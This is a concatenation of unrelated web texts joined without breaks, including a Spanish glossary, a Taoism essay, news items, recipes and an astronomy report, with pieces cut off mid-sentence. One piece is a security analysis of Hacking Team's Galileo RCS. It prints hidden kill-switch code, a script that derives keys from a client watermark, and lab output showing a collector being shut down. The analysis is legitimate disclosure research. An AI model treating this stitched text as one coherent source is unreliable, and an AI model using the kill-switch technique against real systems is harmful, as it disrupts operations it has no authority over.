curitas. Tiritas. Pequeñas bandas adhesivas con gasa en el medio para proteger lastimaduras y, con mayor efectividad, despellejar las zonas adyacentes.
currar. En España, trabajar. En Argentina, engañar a alguien u obtener beneficios usando argucias. Muchos empleados públicos curran de lo lindo... en el sentido argentino, no en el español.
curro. Engañifa, o recurso poco ético para obtener dinero o beneficios.
Ir al índice alfabético
~ D ~
¡dale!. ¡Venga! Interjección para arengar, alentar o exhortar. No se usa para ordenar a alguien que haga un donativo, como tampoco se usa su equivalente española para intimar a una persona a venir a donde estamos.
damajuana. Garrafa de vino. Mientras que la garrafa argentina es algo totalmente distinto.
damasco. Albaricoque. No es tan ilógico, dado que albaricoque es |
for he always maintains a positive perception of reality, regardless of the circumstances. The solutions to his problems are not of his concern, since he understands that his struggles are a natural component to P’u, the Uncarved Block. Grasping the idea of P’u means accepting that everything exists and occurs in its natural simplicity. Taoists strive to ensure that they do not try to “carve into” this block. It is the ultimate essence of beauty, so any puncture would only diminish its natural perfection. The concept of P’u also dictates the Taoists’ view of knowledge. Since they do not want to carve into the block, they learn not through books, but only through direct experience. This ensures that they only absorb knowledge that is vital to their existence, leaving unnecessary facts and ideas out of the equation. They value wisdom much more than intelligence, and they use wisdom to assure they live as simple of a life as possible. Intelligence is based on complexity, which can only cause the mind distress. Taoists want their minds to be at peace, so they value simplicity. They do not search for answers, they allow answers to be exposed naturally.
The struggle of the American Taoist is that he will never be viewed as “successful.” Americans judge success solely by how much you own and how much money you make. He is seen as somebody who lacks ambition simply because he is not attempting to reach a goal. But who is to say that he ought to be working toward a goal? The Taoist feels satisfied in any circumstance, never feeling the need to change his current situation. He already feels successful simply because he is graced with the miracle of life. Unfortunately, these types of people will always be looked down upon by those who are “more successful” than them. However, if success was measured by how much satisfaction you get out of life, the Taoist would be the most successful of all.
I personally envy the way that Taoists think. I would gladly give up on all of my obligations in order to live a life of simplicity. However, since my mother works for the Penn State chain, I have been graced with an opportunity to attend college at an exceptionally low price. It would be an insult to her if I did not go forth with secondary education. Another issue for me is that I wish to raise a family one day, so I need to have a career in order to ensure that we will not struggle financially. It might be burdensome to put forth so much effort to make money, but assuring that my family lives comfortably will make all of my toil worthwhile. I will still apply many of its teachings as I progress through my life, so long as it does not infringe on my ability to take care of the ones I love, for love is my main priority in life.Louisville is countersuing Rick Pitino for monetary damages relating to a violation of NCAA rules, wherein a recruit was paid $100,000 by Adidas.
According to a court document obtained by criminal justice reporter Jason Riley, Louisville is suing Pitino for money the school returned from conference revenue sharing from their four NCAA tournament appearances between 2012 and 2015 as a result of the violation.
Louisville sees Pitino, not the school itself, as the wrongdoer. The university's case rests at least in part on comments made by Pitino during an interview with ESPN in which he took "full responsibility" for his hiring decisions.
Pitino maintains he was unaware of any bribery, but a federal indictment alleged Pitino was not only aware of the scheme, but he was actively involved.“My biggest motivation? Just to keep challenging myself. I see life almost like one long university education that I never had – every day I’m learning something new.”– Richard Branson
Day 18 – Try Doing Something New, Even If You Know You’ll Suck At It
How To Do This: Try doing something new today, especially if there is an area you know you are not great at. Whatever the “challenge” is for You, today, Just Do It: cook, dance, paint, draw, sing, run, learn a few words in a foreign language…be creative with this. Allow yourself to fail gloriously while giving your best to the task. Laugh and have fun while doing it, but be careful and don’t poison anyone with your burned pasta. 🙂
Most of the times we avoid learning new things because we are afraid to fail, to be ridiculous, to make fools of ourselves. It’s the Ego’s trap, that You didn’t have when You were a child.
“You don’t learn to walk by following rules. You learn by doing, and by falling over.”-Richard Branson
So putting yourself back into that child-like state that You get into when You try doing a new thing is another doorway to your true self, to your gut feeling.
I challenge myself everyday together with You on this 30 days challenge. And I’ve noticed that since I’ve began this, I receive and I am willing to take on new challenges, like starting a new blog in Romanian or starting to make videos to accompany the written blog posts. It’s a hustle and bustle in the beginning, but it’s worth it on so many levels.
When You will be doing your new thing today, notice your thoughts, how You talk to yourself, how you scold or encourage yourself, how you get mad or laugh at yourself. Awareness, as usual, is the key to transforming this action into an opportunity to grow and get closer to your real self.
Notice these stages as You’ll go through it:
getting all excited saying “I’m gonna do this today!”
getting out of your comfort zone when actually doing it
taking the risk to fail
failing and doing it all over again
laughing at yourself and having fun while doing it.
So that’s my take on today’s exercise. I am so looking forward to read your stories about it in the comments bellow. If You missed yesterday’s suggestion here it is.
Spread the love with your friends if You liked this post.
With all my love,
RalucaA new report from the Broadbent Institute says British Columbia must invest more into making sure people on disability assistance can meet a basic standard of living.
In 2014, the provincial government committed to making B.C. the most accessible province for people with disabilities by 2024 through a 10-year action plan.
The report — penned by professor of social policy at the University of Victoria Michael Prince — recommends the province increase disabilities assistance payments.
According to the Ministry of Social Development and Social Innovation, those payments support 117,804 people in the province who have significant physical or intellectual impairments. Those numbers were taken as of Dec. 2016.
Prince said the annual rates right now are not enough to cover living expenses.
"The rate now for a year is a little over $11,500," he explained.
"I'm looking at getting that up to the neighbourhood of $19,000, or $19,500. To get there, that means a steady, not immodest amount of money — $50 million to $150 million each year — incrementally invested through two governments and eight budgets."
The provincial government did increase the rates in Sept. 2016, but many critics said the increases were not sufficient.
Prince said the major problem for those who rely on disability assistance is the rates aren't indexed and are vulnerable to inflation.
"The last rate increase before Sept. 2016 was back in 2007/2008. Between then and last fall, inflation ate away a significant chunk of the true purchasing power of the benefit, a third of it. The increase last fall did not compensate for all that loss."
Prince said while the government's 2024 objects were laudable, "specific steps" need to be taken to meet its targets.
With files from The Early Edition
To listen to the interview, click on the link labelled Broadbent Institute report recommends B.C. boost disability rates substantiallyThis is our go to burger recipe – originally taken from this site. The recipe makes 4 good sized burgers, we normally eat two and freeze two.
Patties:
½ cup dry quinoa
1 tsp olive oil
1/2 red onion, chopped
3 cloves garlic, minced
1/2 tsp salt, divided
1 (15 oz) can black beans, drained and rinsed
2 Tbsp tomato paste
1 large egg (can be left out for a 100% vegan burger)
2/3 cup frozen corn
1/2 cup cilantro, chopped
1 chipotle in adobo, minced (we use something like this)
2 tsp ground cumin
1/2 cup rolled oats
1/4 cup oat flour
Yogurt Sauce: (Optional and not vegan!)
½ cup plain fat-free Greek yogurt
1 Tbsp honey
1 Tbsp Dijon mustard
Directions:
Place the quinoa in a small saucepan with 1 cup of water. Set the saucepan over medium-high heat and bring to a boil. Reduce heat to low, cover the pan, and cook 10-15 minutes until the water is absorbed and quinoa is cooked. Remove from heat. Note: this step can be done ahead of time.
Heat the oil in a small pan over medium heat and add the onion and garlic. Add 1/4 teaspoon salt and sauté until onions are softened, 5-6 minutes. Place the mixture into a large bowl. Add black beans to the bowl and using a potato masher or fork, mash together until a pasty mixture forms.
Stir in the tomato paste, egg, corn, cilantro, chipotles, cumin and remaining 1/4 teaspoon salt. Stir in the cooked quinoa, oats, and oat flour until well mixed. Form the mixture into 6 equal patties, compacting them well with your hands as you form them. Place the patties on a baking sheet, cover them with plastic wrap and refrigerate for at least a few hours or overnight.
To make the yogurt sauce, stir the yogurt, honey and mustard together in a small bowl.
When ready to eat, preheat the oven to 400 F or heat a griddle to medium-high heat. If baking, spray a baking sheet with nonstick cooking spray and place the patties on the sheet cook 10-12 minutes until the patties are golden brown and crispy. Carefully flip the over and cook another 10 minutes. If using a griddle, heat 4-6 minutes per side or until slightly golden. Serve patties with the yogurt sauce.
We like to serve the burgers in brioche buns with cheese and gherkins with a side of fresh cut potato fries.Scientists have made the most detailed observations ever of the incredibly fast and strong 'winds' that gust from supermassive black holes, and measured the rapidly changing temperatures in these hot gases for the very first time.
New readings show that the wind blasts emanating from the black hole at the centre of a galaxy called IRAS 13224–3809 are some of the fastest ever recorded – but the biggest surprise here is that these gas flows can dramatically flux in temperature within hours.
"We know that supermassive black holes affect the environment of their host galaxies, and powerful winds arising from near the black hole may be one means for them to do so," says astrophysicist Fiona Harrison from Caltech.
"The rapid variability, observed for the first time, is providing clues as to how these winds form and how much energy they may carry out into the galaxy."
Thanks to new observations with NASA's NuSTAR and the European Space Agency's (ESA) XMM-Newton telescopes, scientists found that wind blasts at the heart of IRAS 13224–3809 can travel at up to 0.24 times the speed of light – or around 71,000 km/s (44,000 mps) to you and me.
That puts these gas flows – also called ultra-fast outflows – in the fastest 5 percent of space wind blasts ever detected.
So where do these space winds come from? Unlike the air movements we have here on Earth, ultra-fast outflows are something like a severe case of cosmic indigestion.
Supermassive black holes lie at the centre of most galaxies, and are surrounded by an accretion disk of gas and dust from which they feed.
If black holes consume too much of this matter too quickly, they 'burp' out this ultra-fast wind, which is so powerful, it's thought to suppress the ability of stars to form throughout the galaxy.
"Although we have seen these outflows before, this observation was the first time we were able to see the launching of the gases being connected with changes in the luminosity of black holes," says astronomer Erin Kara from the University of Maryland.
What made that detection possible was XMM-Newton focussing on the black hole for 17 days in a row, with NuSTAR observing it for six days.
That long period of gazing at IRAS 13224–3809 let the scientists observe temperature changes in the wind blasts occurring dramatically faster than what researchers had previously detected.
"We often only have one observation of a particular object, then several months or even years later we observe it again and see if there's been a change," says researcher Michael Parker from the University of Cambridge in the UK.
"Thanks to this long observation campaign, we observed changes in the winds on a timescale of less than an hour for the first time."
The team was able to measure the temperature of the gas flows by measuring X-rays emanating from the black hole.
As these X-rays interact with elements such as iron and magnesium in the wind, they heat the wind up to extremely high temperatures – millions of degrees Celsius – to the point where the winds can't absorb any more X-rays.
The winds then cool, and as they do, the matter within them regains its ability to absorb X-rays, and this whole process happens a lot faster than anybody thought.
The exact temperatures haven't yet been nailed down, since the temperature variation is a hypothesis based on the elements in the wind becoming incapable of absorbing any more X-rays.
But it's our best evidence yet that this phenomenon produces massive and rapid temperature swings.
"The chemical fingerprints of the wind changed with the strength of the X-rays in less than an hour, hundreds of times faster than ever seen before," says the principal investigator of the project, Andrew Fabian from the University of Cambridge.
"It allows us to link the X-ray emission arising from the infalling material into the black hole, to the variability of the outflowing wind farther away."
Now that we know about this link between what black stars consume and the variations in the cosmic burps they generate, it will help us understand more about the impact of these super-powerful winds on the galactic neighbourhood – and the poor, would-be stars – around them.
"Black hole winds are one of the mechanisms for feedback, where the energy coming out from the black hole regulates the growth of the host galaxy," says Parker.
"Understanding these winds is crucial to understanding how galaxies, including our own, grow."
The findings are reported in Nature.Yum
As the year winds to a close, and we look forward to the fresh start that the New Year brings, I thought it would be fun to look back at some of the most popular vegan recipes of 2016! So I asked my fellow Vegan Food Bloggers what their top posts of the year were, and the recipes and photos they sent me were so incredible, it’s not hard to see why these were their most popular posts of 2016! So grab a cup (or glass!) of something yummy and enjoy! Here are 47 Incredible Breakfast, Lunch and Dinners, followed by delicious dips, spreads, desserts and drinks. Enjoy! These are the recipes that our readers loved the most in 2016.
Part I – Breakfast, Lunch and Dinner Recipes
Part II – Dips, Spreads, Desserts and Drinks!
Wow, That was some list! I want to make so many of these recipes! Thank you to all of my vegan, virtual friends for letting me show off your fabulous recipes, and thanks to all of our readers for being part of our online communities. Eating healthfully and compassionately isn’t something that should be a struggle, but sadly, for some people it is. Needing to, or wanting to, make a dietary shift can be a scary process, but hopefully, with the help of incredible recipes like these, that journey can be a little easier, and a lot more delicious! Thanks for checking out our most popular recipes of 2016! I’m super excited about 2017, and all of the wonderful recipes I plan to share with you, as well as a personal journey that I am embarking on, and will be sharing that with you as well! Stay connected by signing up for my email newsletter, so you don’t miss a single post, or find me on social media (it’s super easy, just click the buttons near my photo!) so we can hang out on Facebook, Instagram and Pinterest! I hope you have a Happy, Healthy New Year!This is the next post in our series on examining Hacking Team's Galileo Remote Control System (RCS). This time we're looking at an embedded 'kill switch' within the system that allows Hacking Team to remotely disable a client's software.
This work has been featured previously on Ars Technica, and was precipitated by a press release from Hacking Team. The salient paragraph is below:
There have been reports that our software contained some sort of “backdoor” that permitted Hacking Team insight into the operations of our clients or the ability to disable their software. This is not true. No such backdoors were ever present, and clients have been permitted to examine the source code to reassure themselves of this fact.
Hacking Team's customers are primarily Law Enforcement Agencies that don't possess the in-house technical capability to build and maintain an espionage platform. Here we're going to look at why even Government Agencies should conduct source-code analysis specifically for security before using anything in a mission-critical environment.
If you've been following the series, you'll know that the Galileo RCS is highly modular, with multiple servers running the entire system.
RCS Architecture from the leaked Sysadmin manual
The 'vulnerability' is in the 'Collector', the server that acts as the bridge between the Master database and the targets. The Killswitch disables this node, preventing any of the targets from calling home; effectively killing all operations for that client.
The killswitch is in the section of code below - see if you can spot it.
def watchdog_request(request) # authenticate with crc signature return method_not_allowed if BCrypt::Password.new(DB.instance.crc_signature)!= @request[:uri].gsub("/", '') # decrypt the request command = aes_decrypt(request[:content], DB.instance.sha1_signature) # send the response return ok(aes_encrypt("#{Time.now.getutc.to_f} #{$version} #{$external_address} #{DB.instance.check_signature}", DB.instance.sha1_signature), {content_type: "application/octet-stream"}) if command.eql?'status' return ok(aes_encrypt("#{DB.instance.check_signature}", DB.instance.sha1_signature), {content_type: "application/octet-stream"}) if command.eql? 'check' and $watchdog.lock end
To add some context to this snippet, this is function is within the 'http_controller.rb' script that handles all of the HTTP requests that the collector receives. These can broadly be categorised as either implant communications, or administrative functions. Alongside the traditional functions like 'GET' or 'POST', the server also implements a custom request method; 'WATCHDOG'. These requests are passed to the 'watchdog' handler function:
def watchdog # only the DB is authorized to send WATCHDOG commands unless!from_db?(@request[:headers]) trace :warn, "HACK ALERT: #{@request[:peer]} is trying to send WATCHDOG [#{@request[:uri]}] commands!!!" return method_not_allowed end # reply to the periodic heartbeat request return watchdog_request(@request) end
Which validates that the request is authorised (And not actually that it comes from the Database, more on that later), before handing off to the snippet we saw earlier.
As we can see, there are two possible commands supported within 'WATCHDOG' requests -'status' and 'check', both fairly innocuous. The request is decrypted using the AES encryption that is standard to Hacking Team (AES-128-CBC, IV of all zeros...). A'status' command then returns information about the deployment:
return ok(aes_encrypt("#{Time.now.getutc.to_f} #{$version} #{$external_address} #{DB.instance.check_signature}", DB.instance.sha1_signature), {content_type: "application/octet-stream"}) if command.eql?'status'
On the other hand, the 'check' function just returns the system signature (or watermark). We'll re-arrange the function to make it a bit clearer what's happening though
if command.eql? 'check' and $watchdog.lock return ok(aes_encrypt("#{DB.instance.check_signature}", DB.instance.sha1_signature), {content_type: "application/octet-stream"})
For those of you not into Ruby or programming, the if statement checks if a True/False statement is true, and if it is then runs the code below it.
The 'and' keyword provides a second True/False statement that must also be true for the code to be executed.
So what is '$watchdog.lock', and why does it return 'True'? We're not comparing anything to anything. In Ruby, the '$' symbol indicates a global variable, and the '.lock' means that we're running the 'lock' function (strictly a method) of the 'watchdog' variable.
Looking through the rest of the code for a reference to this '$watchdog', we find it in the very beginning of the setup code for the Collector:
# the global watchdog $watchdog = Mutex.new
So 'watchdog' is a Mutex; These are used in multi-threaded applications and are objects that allow multiple threads to access a resource, but not simultaneously (i.e. Mutually Exclusive). If you acquire a 'lock' on a Mutex, you prevent any other thread from accessing that resource. So when our 'check' function acquires the lock on '$watchdog', it's permanently stopping all the other threads from accessing it.
What else uses '$watchdog'?
def process_http_request # get the peer of the communication # if direct or thru an anonymizer peer = http_get_forwarded_peer(@http) @peer = peer unless peer.nil? #trace :info, "[#{@peer}] Incoming HTTP Connection" size = (@http_content)? @http_content.bytesize : 0 trace :debug, "[#{@peer}] REQ: [#{@http_request_method}] #{@http_request_uri} #{@http_query_string} (#{Time.now - @request_time}) #{size.to_s_bytes}" unless @http_request_method.eql? 'WATCHDOG' # get it again since if the connection is kept-alive we need a fresh timing for each # request and not the total from the beginning of the connection @request_time = Time.now # update the connection statistics StatsManager.instance.add conn: 1 $watchdog.synchronize do #<- If this mutex is locked, it won't happen... SNIP - Handles HTTP Request end end
So the '$watchdog' mutex is locked, then the '$watchdog.synchronize' call will never succeed, so the server won't handle any HTTP requests. So if we can issue a 'WATCHDOG' 'check' message to the server then it will stop processing HTTP requests, preventing all targets from calling home. Obviously this would have a severe effect on a government's operations...
But there are some protective measures in place, as you saw previously. The server first checks if the request is 'from_db?()'
def from_db?(headers) return false unless headers # search the header for our X-Auth-Frontend value auth = headers[:x_auth_frontend] return false unless auth # take the values sig = auth.split(' ').last # only the db knows this return true if sig == File.read(Config.instance.file('DB_SIGN')) return false end
So the 'from_db?' function actually just checks if the request has the 'x-auth-frontend' header, and if it matches the signature of the database. The remaining authorisation checks are in the 'watchdog_request' function, where first the URI of the request is checked against the encrypted form of the databases 'crc_signature', and then the content of the request is decrypted using the'sha1_signature' of the database.
return method_not_allowed if BCrypt::Password.new(DB.instance.crc_signature)!= @request[:uri].gsub("/", '') # decrypt the request command = aes_decrypt(request[:content], DB.instance.sha1_signature)
Both of these'signatures' are loaded from the license file during the database installation; if we have a look at the bottom of the license, we can see the exact values:
:check: 3OqZ1N5a :digest_enc: true :crc: $2a$10$rQULDKlViK8zQmFe2F1rT.dw.dXaG5f6mU7EerC188SBsp3t2IGz6 :sha1: 80987d0c145eb5a71294fce8306761aa36e4820318b7125e8f1ab66a42375b13
So how do we get these values? There are two locations that these values are known: The master node itself, and Hacking Team HQ (where the licenses were generated).
This kill switch is very well concealed from source code analysis, and would normally be very hard to spot. However we were pointed to it by a file called 'rcs-kill.rb' located within the development 'rcs-db\scripts' directory of the leak. This file contains a very function that is very explicit about it's purpose:
def kill_collector(url) puts puts "Killing #{url}" resp = request(url, 'check') raise "Bad response, probably not a collector" unless resp.kind_of? Net::HTTPOK response = aes_decrypt(resp.body, $key) puts raise "Kill command not successful" unless response.size!= 0 puts "Kill command successfully issued to #{url} (check: #{response})" end
This function triggers the kill switch through the use of the 'check' watchdog function. The key material ('crc_signature' and'sha1_signature') from earlier are generated at the beginning of the script
$auth = Digest::SHA2.digest(options[:auth] + '©ªºª•¶§∞¢').unpack('H*').first $key = Digest::SHA2.digest(options[:auth] + 'µ˜∫√ç|¡™£¢∞').unpack('H*').first
So the only piece of information needed to generate these two values (and therefore send a valid 'WATCHDOG' command) is the 'auth' option. It turns out this 'auth' value is the watermark that uniquely identifies a client. These watermarks are 8 upper and lower case letters that tie a license to a particular client. How do we know this? The first half of the 'rcs-kill.rb' script is a complete list of client watermarks, along with client identifiers. As everyone who used the RCS had a license, their watermark was added to this list.
So if we know the client watermark, we can generate the authentication parameters, issue a 'WATCHDOG' request, and therefore shut down the target collector.
So tying this all together, can I kill the collector in my virtual lab using this script, and my watermark?
First we get the collector information using the auth code:
root@4A-JG-Kali:~/GalileoRCS/OpShutdown# ruby rcs-kill.rb -a 3OqZ1N5a -i 10.0.0.30 Requesting info to 10.0.0.30 Connecting to: 10.0.0.30 Collector watermark: 3OqZ1N5a Collector customer : FAE-FURLAN Collector address : 10.0.0.10 Collector version : 9.6.0 Collector time : 2015-07-23 16:42:11 UTC root@4A-JG-Kali:~/GalileoRCS/OpShutdown#
So now we've confirmed it's a valid collector, we can close it down:
root@4A-JG-Kali:~/GalileoRCS/OpShutdown# ruby rcs-kill.rb -a 3OqZ1N5a -k 10.0.0.30 Killing 10.0.0.30 Connecting to: 10.0.0.30 Kill command successfully issued to 10.0.0.30 (check: 3OqZ1N5a) root@4A-JG-Kali:~/GalileoRCS/OpShutdown#
So have we killed it?
Now we look at the logs on the collector instance:
2015-07-23 17:44:53 +0100 [ERROR]: INTERNAL SERVER ERROR: 10.0.0.40 something caused a deep exception: No live threads left. Deadlock?
And now none of our implants can connect back.
It all looks pretty broken...
So why would Hacking Team have this?
As mentioned in the Ars post, a number of leaked documents indicate that Hacking Team had a 'crisis procedure'. This involved monitoring VirusTotal to see if any of their agents appeared. If any were leaked, they would unpack and analyse the binary to find the client watermark, then kill the associated anonymisers and collector using the 'rcs-kill.rb' script.
So to sum up, we've identified a code path that allows a client's collector systems to be remotely disabled by anyone with access to the 8-character watermark identifying the client. Leaving aside brute forcing, this set of characters is embedded within every implant communicating with the collector, potentially allowing a target to turn off the infrastructure. Therefore the leak of every single watermark has massive impact not just on attribution of malware, but also potentially on the operations of every Hacking Team client. This completely contradicts their earlier press release, and raises questions about the level of source code analysis that the software underwent before it was delivered to customers.
In a recent message Hacking Team asked its clients to stop using their software. Here we've demonstrated why the most recent leak exposes Galileo RCS operations completely worldwide, and why their customers should heed this advice.NBN Co, the company building Australia's national broadband network, has released “broad principles” it says “will determine which access technology will be deployed to connect communities to the National Broadband Network (NBN).”
For each service area NBN Co will consider whether:
Existing infrastructure can be leveraged to deliver the required bandwidth and reliability to premises; Delivery partners have available construction capacity; Sequencing needs to be matched to construction capacity in particular areas with a preference for a contiguous work front. Network complexity can be reduced by consistent use of technologies within a particular area; Advances in technology may mean an alternative approach may be preferable;
Once that checklist has been ticked off, NBN Co will then consider:
Opportunities to prioritise underserved areas; Opportunities to achieve early / high revenue (e.g. from areas with a large number of business customers).
The upshot of it all is that if your neighbourhood isn't already one of those where fibre-to-the-premises (FTTP) is being built, you won't get it by default. But NBN Co has left the door open for paid FTTP offerings.
“Work is underway to develop guidelines so that individuals or businesses with specific speed requirements can purchase fibre up to their premises,” the company says. NBN Co will also “... work with small communities that choose to co-fund FTTP if they are in an alternative technology area.”
The principles also mean that homes and businesses served by hybrid fibre coax – aka pay TV cables – “will receive fast broadband over an upgraded HFC network”. The rest of Australia gets either fibre-to-the-node or fibre-to-the-basement.
The statement about the new principles is laden with caveats, the main one being whether it can strike a deal with Telstra for its networks and filch Optus' unloved and all-but-abandoned HFC network. There's also a pledge to regularly review the principles and point four, above, gives room to change technology. That may come in handy once G.Fast kit becomes available, which looks likely given the recent debut of chipsets for the standard. ®Chow Down Uptown - A Food Truck Festival
One location, 18 trucks, 6 dates this summer
What: Chow Down Uptown- A Food Truck Festival
Where: 7th Street Station Parking Lot (224 E 7th Street)
When: Thursday, May 2, 2013 (Future dates: May 16, June 6, July 11, Aug. 1 and 22)
5 – 9pm
Charlotte, NC – May 1, 2013 – Chow Down Uptown (https://www.facebook.com/ChowDownUptown) is back for its third year! Charlotte’s largest food truck festival showcases local food trucks at the 7th Street Parking Lot (located across from the 7th Street Public Market). Food vendors will be selling delicious choices including gourmet pizza, Italian heroes, pulled pork grilled cheese sandwiches, BBQ ribs, pastries, cupcakes and more.
All Chow Down events this year will be held on Thursdays: May 16, June 6, July 11, August 1 and August 22. The events go on rain or shine (unless there is a severe storm or lightening).
Food trucks include:
Auto Burger and Fry Guys (https://www.facebook.com/pages/Auto-Burger-and-Fry-Guys/370701236282403)
Clover Joe’s (https://www.facebook.com/clover.joes)
Cupcake Delirium (http://cupcakedelirium.vpweb.com/)
Gourmet Goombahs (http://www.gourmetgoombahs.net/)
Herban Legend (http://www.theherbanlegend.com/)
Icy Treats
King of Pops (http://charlotte.kingofpops.net/)
Roots Farm Food (http://rootsfarmfood.com/)
Sal’s Roadside Eatery (http://salsroadsideeatery.com/)
Sauceman’s (http://saucemans.com/home/saucemans-home.php)
Smoke and Go (http://smokeandgonclt.com/)
Southern Cake Queen (http://www.southerncakequeen.com/)
Sunrise Grill and Sandwich Co. (https://www.facebook.com/pages/Sunrise-Grill-Sandwich-Company/169823629700327)
TCBY (http://www.tcby.com/)
The Homegrown Crepe (http://homegrowncrepe.com/)
The Roaming Fork (http://www.roamingfork.net/)
The Wingzza Truck (http://www.wingzzatruck.com/)
Turkey And (http://www.turkeyand.com/)…
Parking is available for $5.00 at the Secure Parking Lot adjacent to Chow Down. Please do NOT bring a cooler of alcoholic beverages as this is not BYOB.Alcoholic beverages can be purchased across the street from Chow Down at the 7th Street Public Market! FREE admission (food vendor pricing applies). Guests are welcome to bring outdoor chairs.
Please visit facebook.com/ChowDownUptown (http://www.facebook.com/chowdownuptown) for more event information and the latest vendor participants. Some food vendors do not accept debit/credit cards; ATM available in 7th St. Public Market.While low-profile superhero-turned-private detective Jessica Jones (as well as Daredevil, Luke Cage, and the Punisher) inhabit the same universe as the big screen superheroes made popular in the Avengers, Captain America, Iron Man, Dr. Strange et al films, the gulf that separates the lives of the famous heroes from those of Jessica's neighborhood (a bleaker, seedier underbelly) is comparable to that which separates Doctor Who from its Torchwood spin-off. (I watched this series after seeing the second Guardians of the Galaxy film, and found myself unable to believe that the wonders of that film shared the same universe.) A PTSD afflicted survivor of a trauma which unfolds over the course of the season, Jessica's investigative work is less likely to get the praise and parades associated with the deeds of the Avengers (who saved the world from aliens), and more likely to be the target of scorn by those who hired her, who don't always like what her investigations turn up. A world of overdue rent, angry clients trashing her office, noisy (and nosy) neighbors, etc. is the focus of attention in this neighborhood, where atrocities inflicted indirectly by a super-powered predator engaging in mind control over hapless victims is less likely to be believed than the tangible, larger-than-life acts of big screen villains which the public can see (and more likely to result in public scorn and vilification of the manipulated victims), and the earth-shaking upheavals seen in New York City in The Avengers have made the lives of those living underfoot in this neighborhood about as pleasant as the lives of those affected in real-life war zones, or at Ground Zero on 9/11, with all of the casualties that are implied. This series deserves the praise it has received, to date, and I would strongly urge purchase of this DVD. If you can handle a series where saving the day--albeit often at a depressing cost--may or may not guarantee gratitude, or comes too late for some, this is a drama for you.
Read moreA student of IIT Madras was found hanging in his hostel room
On Monday, Nagendra Reddy, a student of IIT Madras, returned to the campus after meeting his parents in a village in Andhra Pradesh. Hours later, he was found hanging in his room.The 23-year-old, who was completing his master's degree, was the only child of Narayana Reddy, a farmer in Cuddapah."He came to visit us on Saturday and returned to Chennai on Monday. He never told us about any pressure," Mr Reddy said. He was stunned when he received a call from the IIT, so soon after seeing him off.No suicide note has been found, say the police.The police suspect Nagendra was depressed after he failed to ace the Graduate Aptitude Test in Engineering or GATE conducted by the institute for doctorate programmes or jobs in leading public sector units.He had reportedly been offered a job by engineering conglomerate L&T, but was looking for a government job.In his first attempt at the test, he placed 2,013 and he later improved it to 722. But for the job that he wanted, he needed to make it to the top 200.IIT Madras said in a statement that it was not known why Nagendra took his own life."At this time, we have no indication of |
tell me.”
As Mnuchin begins to explain how his department "has cooperated" with congressional committees, Waters bursts in again.
“Reclaiming my time. Reclaiming my time. Reclaiming my time. Reclaiming my time. Reclaiming my time,” Waters says — just like a 5 year old does!
Mnuchin then says he thought he'd have a chance to answer questions and asks Hensarling about the rules. "Perhaps, Mr. Chairman, I don't understand the rules."
But while he was doing so, Waters interrupts again, repeatedly saying, “Reclaiming my time. Reclaiming my time.”
Hensarling clarifies, saying that the rules he read are how witnesses "should" be treated, "not necessarily the way they will be treated."
So, Mnuchin tries to answer again. "Uh, what I was saying..." he says, but Waters interrupts again.
“Reclaiming my time,” she says. “Reclaiming my time. Reclaiming my time. Reclaiming my time.”
Then she calls the Treasury Department secretary a liar. Liar liar pants on fire, said the 5 year old.Wow! This month flew by. Though it went by fast it was definitely a lot of work and I can actually say I am tired which I don’t like to admit very often. I am one of those strange people who doesn’t like to sleep partially because I have trouble falling asleep. I decided to do some reading up on what foods naturally help people sleep. Here are some things that I have learned about foods that help you get the zzzzz’s:
Almonds contain magnesium which helps promote both sleep and relaxation.
Decaf teas like Chamomile our other medicinal sleep aid teas are great to warm up the body and help you relax making it easier to fall asleep.
Oatmeal due to the tryptophan helps you sleep and here I thought you should eat oatmeal for breakfast because it will help energize you.
Complex carbs help increase the availability of tryptophan in the bloodstream which induces sleep.
So with this information I decided to make whole wheat sleepy time cookie. Being as this is my last night to post for Vegan MOFO I figured it was okay to have a few cookies that promote relaxation and that will help me catch some ZZZ’s.
Before sharing the recipe and signing off I would like to say a big “Thank You” to all the people who have worked so hard to put this years Vegan MOFO together, the people at Vegan Mainstream who allowed me to share my recipes on their site to help celebrate, all the awesome bloggers out there who have endured the last month and help to spread the word and to all the new friends I have made this past month. October 2011 has really been something special!!
Sweet Dreams Cookies
2 cups whole wheat flour
2 cups old-fashioned oatmeal
1 tsp Himalayan salt
1 tsp baking soda
1/4 tsp nutmeg
1/2 cup vanilla almond milk
2 bags of your favorite night-time tea ( I used Traditional Medicinal Nighty Night)
2 tbsp flax meal
6 tbsp water
1 tbsp maple syrup
2/3 cup brown sugar
2/3 cup raw sugar
1 cup diced apple
1/2 cup vegan white chocolate chips (optional, I just love white chocolate)
Pre heat oven to 350 degrees. Grease or line cookie sheets with parchment paper. Mix ingredients from flour to nutmeg together. In a saucepan bring almond milk to an almost boil with tea bags in it. Remove from heat and steep for 5 minutes. In a separate cup mix flax meal and water. In a different bowl beat butter with an electric mixer until fluffy. Add ingredients from almond milk to sugar (including flax mixture) to butter and mix until smooth. Slowly add in flour mixture. Once well blended, fold in apple and white chocolate. With a tablespoon drop on to cookie sheets. About 1 1/2″ apart. Bake 14 -16 minutes. Cool on sheet for a couple of minutes and then move cookies to a cooling rack. Makes 3 dozen cookies.
Eat a couple and have Sweet Dreams!Treasury Secretary Steven Mnuchin did what just about anyone would do when presented with a newly minted sheet of American currency bearing their name and signature on Wednesday: He posed for a photo.
Coming in the midst of tax-overhaul plans by President Trump and congressional Republicans that nonpartisan analysts say would disproportionately benefit corporations and wealthy individuals, among others, the photo of Mnuchin and wife Louise Linton holding up the sheet of new $1 bills became an instant meme and drew wide mockery around the Internet.
The photo was snapped Wednesday by Jacquelyn Martin, a photographer for the Associated Press, as Mnuchin and Linton, along with U.S. Treasurer Jovita Carranza, toured the Bureau of Engraving and Printing in Washington. The new $1 bills, with Mnuchin and Carranza's signatures, are expected to go into circulation in December. The signatures of Treasury secretaries have appeared on U.S. currency for more than a century, and Mnuchin’s signature is more legible than that of his predecessor Jack Lew, the AP noted.
[Mnuchin flew on government jet to Washington following appearance at Trump Tower]
For many, there was something comical about the picture of the couple, no strangers to accusations of flaunting their wealth and privilege. Mnuchin holds the sheet on both sides, a smile on his face. His wife stands behind him, her hand on the sheet’s corner.
Coms dept: We need to come off relatable so we can pass this tax cut
Steve Mnuchin: SAY NO MORE pic.twitter.com/Fa2vhshMx1 — (Grad School Imposter, 2018) (@darinself) November 15, 2017
“Only way this could be worse would be if Linton and Mnuchin were lighting cigars with flaming dollar bills,” wrote the writer James Surowiecki.
“Just a friendly reminder that the GOP wants to raise taxes on the middle class & take health insurance away from millions of Americans so people like Louise Linton and Steven Mnuchin can get a tax cut,” wrote another.
